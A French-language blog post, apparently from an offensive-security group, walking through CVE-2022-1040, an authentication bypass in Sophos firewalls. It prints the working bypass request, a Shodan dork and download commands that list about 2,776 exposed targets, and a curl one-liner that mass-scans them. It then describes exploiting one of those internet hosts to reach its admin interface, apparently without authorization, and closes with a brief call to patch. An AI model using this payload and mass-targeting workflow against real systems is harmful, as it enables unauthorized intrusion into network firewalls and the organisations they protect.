
CVE-2022-1040
Dans le groupe de recherche Toasec, dédié à la cybersécurité offensive, nous avons entrepris l'analyse de cette vulnérabilité dans les pare-feux Sophos.
Cette vulnérabilité, comme beaucoup d'autres, peut être signalée et trouvée si vous savez chercher sur Twitter, où nous avons observé que depuis le mois de mars, des articles sur le RCE ont commencé à apparaître
Si nous observons les dépôts qui contiennent les POC
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
Nous pouvons observer le payload (mode=151&json=) qui nous permet de contourner la connexion et nous observons également le point de terminaison webconsole/webpages/login.jsp
Nous passons maintenant à l'analyse des attaques sur greynose et vérifions si elle est activement exploitée

Une fois que nous avons identifié le point de terminaison et vérifié certaines routes utilisées dans les attaques avec Greynoise, nous pouvons créer notre dork sur Shodan title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)". Ce dork est celui que nous avons identifié comme le plus probable, mais nous devons rappeler que les versions vulnérables sont Sophos XG115w Firewall 17.0.10 MR-10

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
Nous procédons à la vérification des données
Nous allons parser les données dans un format qui nous permet l'automatisation et nous observons qu'il existe 2776 cibles potentielles
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

Maintenant, nous devons nettoyer et supprimer les virgules pour faciliter le travail avec le onliner
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
Nous pouvons maintenant travailler avec le onliner dans un format plus approprié
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

Une fois nos cibles vérifiées, il suffit d'en sélectionner une et de réaliser le test en accédant au panneau de connexion

Nous interceptons la requête de connexion et l'envoyons au responder

Nous modifions la requête avec le payload et devons obtenir une redirection vers l'administration du pare-feu

Nous essayons d'accéder à la route index.jsp

Nous avons vérifié que la vulnérabilité est présente sur la cible, de même elle est active sur de nombreux hôtes, néanmoins, à ce jour, on a pu observer une large mitigation concernant d'autres vulnérabilités.
Dans ces cas, l'essentiel est de réaliser une mise à jour et l'installation des correctifs de sécurité dès qu'ils sont mis à disposition par les fabricants.